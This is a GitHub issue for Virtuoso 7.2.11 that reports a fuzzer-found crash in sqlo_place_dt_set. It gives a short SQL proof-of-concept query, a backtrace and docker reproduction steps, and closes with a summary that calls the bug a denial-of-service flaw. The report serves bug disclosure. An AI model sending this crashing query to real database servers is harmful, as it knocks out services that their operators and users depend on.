The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 REAL NULL CHECK( 2 = 2 ) ) ;
 UPDATE v0 SET v1 = 2 WHERE ( SELECT v1 v1 ) IN ( SELECT v1 FROM v0 UNION SELECT v1 ) ;
```

backtrace:
```c
#0 0x6edf13 (sqlo_place_dt_set+0x33)
#1 0x6edfb0 (sqlo_place_dt_set+0xd0)
#2 0x6ee00b (sqlo_place_dt_set+0x12b)
#3 0x6ef3bc (sqlo_place_dt+0xec)
#4 0x701485 (sqlo_place_table+0xb95)
#5 0x70967b (sqlo_try+0xdb)
#6 0x70ac5c (sqlo_layout_1+0x94c)
#7 0x6eadab (sqlo_layout+0x5fb)
#8 0x6eb832 (sqlo_pred_body+0x3f2)
#9 0x6f7561 (sqlo_tb_col_preds+0x14b1)
#10 0x70193e (sqlo_place_table+0x104e)
#11 0x70967b (sqlo_try+0xdb)
#12 0x70ac5c (sqlo_layout_1+0x94c)
#13 0x6eadab (sqlo_layout+0x5fb)
#14 0x70eb45 (sqlo_top_2+0x335)
#15 0x70e465 (sqlo_top_1+0xf5)
#16 0x7101b1 (sqlo_query_spec+0x1a1)
#17 0x7e0258 (sqlc_update_searched+0x548)
#18 0x6b9ac2 (sql_stmt_comp+0x812)
#19 0x6bc9d2 (sql_compile_1+0x1a62)
#20 0x7cba60 (stmt_set_query+0x340)
#21 0x7cd952 (sf_sql_execute+0x922)
#22 0x7cecde (sf_sql_execute_w+0x17e)
#23 0x7d799d (sf_sql_execute_wrapper+0x3d)
#24 0xe214bc (future_wrapper+0x3fc)
#25 0xe28dbe (_thread_boot+0x11e)
#26 0x7f46d1e42609 (start_thread+0xd9)
#27 0x7f46d1c12133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `sqlo_place_dt_set`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `sqlo_place_dt_set`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 REAL NULL CHECK( 2 = 2 ) ) ;
 UPDATE v0 SET v1 = 2 WHERE ( SELECT v1 v1 ) IN ( SELECT v1 FROM v0 UNION SELECT v1 ) ;
```

backtrace:
```c
#0 0x6edf13 (sqlo_place_dt_set+0x33)
#1 0x6edfb0 (sqlo_place_dt_set+0xd0)
#2 0x6ee00b (sqlo_place_dt_set+0x12b)
#3 0x6ef3bc (sqlo_place_dt+0xec)
#4 0x701485 (sqlo_place_table+0xb95)
#5 0x70967b (sqlo_try+0xdb)
#6 0x70ac5c (sqlo_layout_1+0x94c)
#7 0x6eadab (sqlo_layout+0x5fb)
#8 0x6eb832 (sqlo_pred_body+0x3f2)
#9 0x6f7561 (sqlo_tb_col_preds+0x14b1)
#10 0x70193e (sqlo_place_table+0x104e)
#11 0x70967b (sqlo_try+0xdb)
#12 0x70ac5c (sqlo_layout_1+0x94c)
#13 0x6eadab (sqlo_layout+0x5fb)
#14 0x70eb45 (sqlo_top_2+0x335)
#15 0x70e465 (sqlo_top_1+0xf5)
#16 0x7101b1 (sqlo_query_spec+0x1a1)
#17 0x7e0258 (sqlc_update_searched+0x548)
#18 0x6b9ac2 (sql_stmt_comp+0x812)
#19 0x6bc9d2 (sql_compile_1+0x1a62)
#20 0x7cba60 (stmt_set_query+0x340)
#21 0x7cd952 (sf_sql_execute+0x922)
#22 0x7cecde (sf_sql_execute_w+0x17e)
#23 0x7d799d (sf_sql_execute_wrapper+0x3d)
#24 0xe214bc (future_wrapper+0x3fc)
#25 0xe28dbe (_thread_boot+0x11e)
#26 0x7f46d1e42609 (start_thread+0xd9)
#27 0x7f46d1c12133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in the `sqlo_place_dt_set` function of Virtuoso 7.2.11 can be triggered by executing a specific SQL statement. This vulnerability can lead to a Denial of Service (DoS) as the application crashes when processing the provided SQL command, which is generated by a fuzzer. The backtrace indicates that the crash occurs during the execution of an update statement that involves a subquery, suggesting a potential flaw in handling complex SQL queries.